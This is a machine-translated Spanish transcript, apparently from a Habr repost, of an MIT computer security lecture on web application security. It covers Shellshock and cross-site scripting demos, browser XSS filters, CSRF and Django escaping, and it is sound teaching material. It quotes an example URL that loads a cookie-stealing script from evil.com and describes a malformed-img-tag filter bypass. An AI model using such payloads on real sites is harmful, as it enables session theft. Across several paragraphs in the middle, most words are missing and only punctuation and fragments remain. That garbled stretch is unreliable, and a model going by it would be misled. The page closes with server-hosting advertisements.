Curso MIT "Seguridad de sistemas informáticos". Lección 9: Seguridad de aplicaciones web, Parte 1

Instituto de Tecnología de Massachusetts. Conferencia Curso # 6.858. "Seguridad de los sistemas informáticos". Nikolai Zeldovich, James Mickens. Año 2014


Computer Systems Security es un curso sobre el desarrollo e implementación de sistemas informáticos seguros. Las conferencias cubren modelos de amenazas, ataques que comprometen la seguridad y técnicas de seguridad basadas en trabajos científicos recientes. Los temas incluyen seguridad del sistema operativo (SO), características, gestión del flujo de información, seguridad del idioma, protocolos de red, seguridad de hardware y seguridad de aplicaciones web.

Lección 1: "Introducción: modelos de amenaza" Parte 1 / Parte 2 / Parte 3
Lección 2: "Control de ataques de hackers" Parte 1 / Parte 2 / Parte 3
Lección 3: “Desbordamientos del búfer: exploits y protección” Parte 1 / Parte 2 / Parte 3
Lección 4: “Separación de privilegios” Parte 1 / Parte 2 / Parte 3
Lección 5: “¿De dónde vienen los sistemas de seguridad?” Parte 1 / Parte 2
Lección 6: “Oportunidades” Parte 1 / Parte 2 / Parte 3
Lección 7: “Sandbox de cliente nativo” Parte 1 / Parte 2 / Parte 3
Lección 8: "Modelo de seguridad de red" Parte 1 / Parte 2 / Parte 3
Lección 9: "Seguridad de aplicaciones web" Parte 1 / Parte 2 / Parte 3

Comencemos la segunda conferencia en nuestra increíble serie de historias de seguridad web. Me gustaría proceder inmediatamente a una rápida demostración de ejemplos, ya que sabe que nuestras demostraciones casi nunca funcionan. Espero que no veas una pantalla en blanco hoy.

La idea básica es que primero me gustaría mostrarle un ejemplo de un error Shellshock del que quizás ya haya oído hablar. Este fue un tema bastante popular en la literatura sobre seguridad informática.



Las personas le dan a un error Heartbleed una calificación máxima de 10 en una escala de peligro 10. Consideran que este es el error más peligroso contra el cual el sistema de seguridad debe proteger. Pensé que sería una gran idea mostrarte una historia viva de este problema que puedes contarles a tus padres para que entiendan que estudiar en el Instituto de Tecnología de Massachusetts vale la pena.

Entonces, ¿cuál es la idea principal del error Shellshock? Este es un gran ejemplo de por qué es tan difícil crear aplicaciones web seguras que abarcan múltiples tecnologías, múltiples idiomas, múltiples sistemas operativos, y así sucesivamente. Por lo tanto, la idea principal es que Shellshock utiliza el hecho de que un atacante puede crear una solicitud http especial para el servidor y administrar los encabezados en esta solicitud. Escribí un ejemplo muy simple en la pizarra.
Supongamos que un atacante quiere enviar una solicitud GET a un CGI sobre el tema de la búsqueda de gatos, porque esto es exactamente lo que la gente siempre busca en Internet (es broma). Por lo tanto, habrá un signo de interrogación y algún tipo de encabezado de host estándar con una URL, por ejemplo, example.com:

OBTENER /querry.cgi? búsqueda = gatos
Anfitrión: ejemplo.com
Personalizado - encabezado: Personalizado - valor

Ahora tenga en cuenta que un atacante también puede especificar encabezados personalizados. Por ejemplo, quiero encontrar algún tipo de encabezado específico de la aplicación llamado Encabezado personalizado para especificar algún valor personalizado allí, porque la aplicación web puede definir alguna funcionalidad que no puede expresarse usando encabezados HTTP predefinidos simples. Entonces, aunque todo esto parece bastante inofensivo.
Pero al final, lo que sucede es que muchos de estos servidores web para procesar secuencias de comandos CGI aceptarán estos valores personalizados del encabezado de valores personalizados y los usarán para establecer variables de entorno Bash. Es decir, utilizarán este encabezado personalizado para crear un encabezado personalizado para el nombre de la variable Bash, tomarán este valor personalizado proporcionado por el atacante y lo usarán como el valor de la variable Bash. Una vez que se establece esta variable, el servidor CGI procesará el contexto de este entorno.

Y esto es malo porque los servidores web no deberían tomar valores arbitrarios de estas cosas "sucias" aleatorias. Por lo tanto, en un ejemplo específico de un error de Shellshock, lo que sucede es que si le da a la variable Bash algún valor malicioso, puede comenzar una forma de locura.



Básicamente, esta definición maliciosa de una función se elige en el lenguaje de script Bash, y no debe molestarse por los detalles de este proceso. Pero el hecho es que si el parámetro Bash se configurara correctamente, esta parte de / bin / id no se ejecutaría. Así que acaba de definir algún tipo de función tonta que no hace nada y termina el proceso de consulta.

Sin embargo, esta secuencia de caracteres confunde al analizador Bash; parece tropezar con estas tonterías ubicadas después de la barra. Y luego dice: "Oh, podría seguir analizando y ejecutando algunos comandos aquí, ¿verdad?" Y en este caso, simplemente ejecuta el comando bin / id, que muestra información sobre el usuario. Pero la esencia de la vulnerabilidad es que, en lugar de bin / id, ¡puede poner absolutamente cualquier código aquí!

Daré un ejemplo muy simple que verás en la pantalla. Este es un servidor Python muy simple, el más fácil que puedas imaginar. Yo uso el método GET aquí. Este método significa iterar sobre todos los encabezados HTTP en la solicitud.





Aquí en el encabezado tenemos un valor para la variable K y un valor para la consulta V. En este caso, GET simplemente imprime los encabezados que encuentra.

Y luego hará algo muy estúpido: hacer una llamada al sistema y establecer el valor de shell directamente en el valor indicado en el encabezado. Entonces esta es toda la raíz de la vulnerabilidad.

Si voy a la siguiente pestaña y ejecuto el servidor web de la víctima, vemos que está listo para aceptar solicitudes.



Entonces puedo escribir mi cliente Shellshock especial: se encuentra en la siguiente pestaña.



De hecho, es bastante simple: solo defino una de estas líneas de ataque malicioso.str, por lo que primero tiene esos valores "curvos". Y luego sé que en el lado del servidor ahora todo se hará de acuerdo a mi voluntad.

En este caso, usé algo inofensivo: repite "Soy dueño de tu auto". Pero podría haber cualquier cosa. Puede ejecutar otro shell Bash con el parámetro "echo ATTACKER CMD", es decir, el comando del atacante real, que puede ser muy peligroso.

Entonces, configuro los encabezados y la solicitud del usuario, y luego solo uso Python para crear una conexión HTTP y simplemente enviarla al servidor. Entonces, ¿qué pasa al final? Estoy ejecutando mi cliente Shellshock aquí.



Verá, el error 404 apareció aquí, porque no importa qué archivo solicité, simplemente inserto aquí algún tipo de índice que no existe HTML. Pero si mira aquí, en la segunda pestaña, donde mostramos el servidor web de la víctima que acordó conectarse a través del puerto 8282, veremos que recibió mis mensajes "Soy dueño de su automóvil" y ATTACKER CMD.



Debido a que tan pronto como el servidor de la víctima recibió este encabezado, estableció inmediatamente los valores de la variable Bash y, como resultado, se lanzó el comando ATTACKER CMD. ¿Eso está claro?

Audiencia: ¿esto sucede si un programa comienza con ese título?

Profesor: si. Por lo tanto, los detalles de cómo funciona el ataque depende de cómo se vea su servidor web, por ejemplo, si trabaja con Apache o no. Este ejemplo es un poco exagerado, ya que en realidad creé otro shell Bash, establecí una variable de shell y solo entonces comencé el proceso. Pero podría imaginar que si creara otros procesos para cada conexión entrante, podría establecer la variable de entorno directamente.

Público: por lo tanto, si vuelve al código del servidor web, parece que hay una vulnerabilidad mucho peor que Shellshock. Debido a que puede realizar una llamada al sistema y ejecutar el comando simplemente configurando el encabezado personalizado a otra cosa, y no tendría que usar el error Shellshock en este ejemplo.

Profesor: sí, es cierto, en este servidor web en particular, que escribí solo como ejemplo, hay algo en lo que no se puede confiar para nada. Pero si aquí no tuviéramos Python, sino Apache, entonces podríamos establecer directamente el valor del entorno para cualquier servicio en particular usando el enésimo parámetro establecido. Pero hay servidores como este que crean un proceso separado y hacen algo muy similar al ejemplo dado.



Otro ejemplo que quería darle es el ejemplo de secuencias de comandos entre sitios. El error de Shellshock fue un tipo de ejemplo de lo importante que es la desinfección del contenido. Discutimos el hecho de que no solo debe aceptar la entrada de personas aleatorias y usarla directamente en equipos de cualquier tipo.

Las secuencias de comandos entre sitios son otro ejemplo que muestra por qué algo puede salir mal. En este ejemplo, tengo otro servidor CGI simple escrito en Python.



Este es el identificador que se ejecuta cuando se recibe una solicitud del cliente. Imprimí algunos encabezados aquí para la respuesta, y mi respuesta será texto HTML. Como resultado, los navegadores tienen algunos mecanismos de seguridad para tratar de prevenir el ataque que les mostraré. Por lo tanto, hice posible desactivar algunos de los mecanismos de esta protección colocando esta barra de título al principio.

El script CGI luego obtiene acceso a todos los campos y solicitudes CGI, comenzando con la línea form = cgi.FieldStorage (). Imagine que todo lo que se encuentra en la línea después de este signo de interrogación representa el título y los parámetros de nuestro ejemplo:

OBTENER /querry.cgi? búsqueda = gatos
Anfitrión: ejemplo.com
Personalizado - encabezado: Personalizado - valor

Luego, el script cgi hace algo muy simple: imprime inmediatamente el valor de algo que vino del atacante. Esta es la misma idea básica, y esta es una mala idea, porque esta función de impresión imprime el valor resultante directamente en el propio HTML.

Aquí puede suceder lo siguiente. Supongamos que tengo un montón de consultas que quiero ejecutar. En esta primera solicitud, simplemente configuro el valor del mensaje en Hola, es decir, voy a la dirección de la primera línea.



Por lo tanto, si voy a mi página, veré la palabra hola, porque el servidor acepta directamente lo que le paso e imprime "hola". Entonces no hay sorpresas.



Entiendo que realmente puedo pasar código HTML arbitrario allí, y si configuro el formato para el encabezado h1, es decir, enviaré la segunda línea que termina en hola al servidor, también cambiará en la página; ya ves, el estilo de la palabra ha cambiado al estilo del encabezado h1. Entonces funciona, escribo los valores directamente en la página.



Genial, ahora estamos en el negocio, y eso es genial. Ahora, simplemente agreguemos el código JavaScript, es decir, ejecute la tercera línea preparada por mí en el navegador, donde se inserta un cierto script, que se ejecuta después del parámetro de alerta ("XSS").

Entonces ahora vemos una pantalla en blanco. Parece que no tuvimos éxito, porque no hay salida visible, y no noté ninguna advertencia.



Pero si miro el resultado del servidor web, veré que el servidor web en sí no recibió esta etiqueta de script final. Parece que el navegador en sí mismo detectó algo malvado, aunque intenté desactivar el filtro XSS. Entonces es bastante interesante. Más adelante veremos más de cerca este mecanismo de protección, pero por ahora notaré que el navegador está tratando de resistir el ataque de secuencias de comandos entre sitios.

Pero puede aprovechar el hecho de que HTML, CSS y JavaScript son lenguajes extremadamente complejos y están escritos de una manera difícil de entender. Aprovecharé esto y usaré la última, cuarta línea de mi entrada, colocándola en la barra de direcciones del navegador. Esta es una cadena de ataque que contiene una URL no válida. Incluye la URL de la imagen <IMG "" "> y la etiqueta del script"> y en realidad no se puede analizar. Por lo tanto, al recibir dicha línea, el navegador simplemente se confunde y muestra información en la pantalla: "La página en 127.0.0.1:8282 dice: XSS". Por lo tanto, la detección de secuencias de comandos entre sitios incorporada no funciona realmente.



Si hacemos clic en el botón "Aceptar", solo tendremos una página en blanco. Pero si observa su contenido, veremos citas y paréntesis incomprensibles que vienen de la nada.



Sin embargo, desde el punto de vista del atacante, la página dañada no importa, porque vimos una advertencia, lo que significa que se lanzó el código. Y podría usarse para robar cookies o hacer algo así.

Audiencia: ¿cuál es el aspecto entre sitios?

Profesor: El aspecto entre sitios es que si un atacante puede convencer a un usuario de ir a una URL, como en este ejemplo, entonces él es la persona que determina el contenido del mensaje. Es él quien crea la advertencia XSS o algo así. Esencialmente, lo que sucede es que la página de la víctima ejecuta código en nombre de alguien que no administra esta página.

Entonces, te mostré dos demostraciones rápidas del mundo "sucio" en el que vivimos. Entonces, ¿por qué las secuencias de comandos entre sitios son tan comunes? ¿Por qué son tan importantes estos problemas? La razón es que los sitios web se están volviendo cada vez más dinámicos y desean alojar contenido generado por múltiples usuarios o incluir contenido de otros dominios. Piense, por ejemplo, en la sección de comentarios de un artículo de noticias, estos comentarios provienen de personas poco confiables, de usuarios. De una forma u otra, estos sitios deberían descubrir cuáles son las reglas para combinar tales cosas.

Los sitios web pueden contener documentos de usuario, como documentos de Google u Office 365. Todos estos documentos provienen de personas poco confiables, pero de alguna manera necesitan llevarse bien entre sí y con la gran infraestructura de Google o Microsoft.

¿Qué tipos de escenarios de seguridad entre sitios podemos usar? Un tipo de protección son los filtros de secuencias de comandos entre sitios en el navegador. Estos filtros intentarán detectar posibles ataques de secuencias de comandos entre sitios. Y vimos uno de estos filtros en acción: este fue el tercer ejemplo del escenario que examinamos.
Supongamos que tiene la URL foo.com/?q= <script src = "evil.com/cookie stealer.js">. Es decir, esta dirección ejecuta un script que redirige al usuario a un sitio malicioso y le roba cookies.



Por lo tanto, el navegador se negará a ejecutarlo y el truco de este atacante no funcionará. La razón es simple: el navegador simplemente verificó si había una <script> incorporada en esta URL y, al encontrarla, prohibió hacer clic en este enlace. Por lo tanto, esta es una heurística muy simple para descubrir si algo dañino está sucediendo, porque ningún desarrollador normal pondrá esas cosas en la dirección. Puede configurar las opciones de configuración de su navegador para habilitar o deshabilitar tales cosas. Esto a veces es útil para realizar pruebas si solo desea ingresar rápidamente y sin mucha verificación algunos datos de JavaScript. Pero, por lo general, esta verificación en el navegador está habilitada de forma predeterminada.

Por ejemplo, Chrome e IE tienen un filtro incorporado que analiza el valor de la URL en la barra de direcciones y busca cosas similares. Y si están allí, entonces el navegador puede intentar eliminarlos por completo o dejar vacía la fuente dentro de <>. Existen muchos métodos de análisis heurísticos basados ​​en qué navegadores deberían detectar tales cosas. Y si nos fijamos en el sitio web de OWASP, hay ejemplos del uso de una heurística para detectar secuencias de comandos entre sitios y ejemplos de cómo omitir este filtro.

Sabes, fue muy divertido, porque al principio, como ejemplo para nuestra conferencia, hice algo similar a esto, y no funcionó. Luego busqué en la hoja de trucos de OWASP y encontré la cuarta opción que funcionaba, era un ejemplo con un análisis roto de la dirección de la imagen img.

Por lo tanto, el problema principal, que no le permite confiar simplemente en los filtros incorporados del navegador, es que hay muchas maneras diferentes de obligar a los analizadores CSS y HTML a analizar parte del contenido de manera incorrecta. Por lo tanto, las soluciones integradas no son perfectas, no cubren todas las vulnerabilidades.

Audiencia: ¿ Pero no es responsabilidad del navegador verificar tales cosas?

Profesor: Me refiero al caso cuando el navegador está en un servidor proxy y el proxy hace algo que se muestra en este ejemplo. Es decir, los filtros incorporados tienen sentido, porque puede haber muchos analizadores dentro del navegador, y estos filtros se utilizan para proteger las capas de controlador dentro del navegador.

Audiencia: Creo que podemos decir que es responsabilidad del desarrollador web, no del usuario, verificar tales cosas.

Profesor: en cierto sentido, podríamos decir que en Unix o Windows también hay procesos que el desarrollador de software, y no el usuario, deben encargarse, y el desarrollador debe asegurarse de que estas cosas permanezcan aisladas. Pero en realidad, el sistema operativo y el hardware también juegan un papel importante, porque de lo contrario no se podría confiar en ningún programa realizado por desarrolladores aleatorios. Pero básicamente tienes razón. De hecho, marcos como Django o algo similar están tratando de ayudarlo a solucionar algunos de estos problemas.

De una forma u otra, los filtros no son una solución ideal y no pueden evitar lo que se conoce como ataques persistentes o persistentes de secuencias de comandos entre sitios, XSS persistente. Este es un tipo de reflexión, porque el código del script simplemente "vive" en la URL. Tan pronto como el usuario cerró esta URL, el ataque terminó.

Pero imagine que un usuario ha colocado HTML malicioso en la sección de comentarios de su sitio. , . , .



, – . HTML- .

? - , . HTML, , . .

: , , , , - ?

: , . , — post. , , XML HTTP .

: , , …

: , , . , . - , .

, , .

, « HTTP », HTTP-only cookie. , , JavaScript cookie. , , , : «, , JavaScript, cookie»! - .

, , . , . , JavaScript cookie, - , , URL- - , , buy.com. , , , Ferrari, attacker, .



, JavaScript, cookie, , URL-. , CSRF , .

, , , . , , . , - , , , Google, Office 365 . . , Google googleusercontent.com. , Gmail . -, 25- .



? , - , google.com. , google.com. .

, – . , -, , . , . — Django. -, , -.



Django , , . – . CSS , . , . Django , : , .



-. , Django, Django : «, -, , , CGI». Django , , . - CGI0, , .

Sin embargo, Django lo hace mucho mejor: desinfecta el contenido del usuario, ya que espera un truco. Simplemente coloca inmediatamente el valor de la variable de nombre aquí, y lo codifica de tal manera que este contenido nunca pueda salir del contexto HTML y ejecutar código JavaScript o algo así.

26:25 min

Curso MIT "Seguridad de sistemas informáticos". Lección 9: "Seguridad de aplicaciones web", Parte 2


La versión completa del curso está disponible aquí .

Gracias por quedarte con nosotros. ¿Te gustan nuestros artículos? ¿Quieres ver más materiales interesantes? Apóyenos haciendo un pedido o recomendándolo a sus amigos, un descuento del 30% para los usuarios de Habr en un análogo único de servidores de nivel de entrada que inventamos para usted: toda la verdad sobre VPS (KVM) E5-2650 v4 (6 núcleos) 10GB DDR4 240GB SSD 1Gbps de $ 20 o cómo dividir el servidor? (las opciones están disponibles con RAID1 y RAID10, hasta 24 núcleos y hasta 40GB DDR4).

VPS (KVM) E5-2650 v4 (6 núcleos) 10GB DDR4 240GB SSD 1Gbps hasta diciembre de forma gratuita al pagar por un período de seis meses, puede ordenar aquí .

Dell R730xd 2 veces más barato? ¡Solo tenemos 2 x Intel Dodeca-Core Xeon E5-2650v4 128GB DDR4 6x480GB SSD 1Gbps 100 TV desde $ 249 en los Países Bajos y los Estados Unidos! Lea sobre Cómo construir un edificio de infraestructura. clase utilizando servidores Dell R730xd E5-2650 v4 que cuestan 9,000 euros por un centavo?

Source: https://habr.com/ru/post/es424289/


All Articles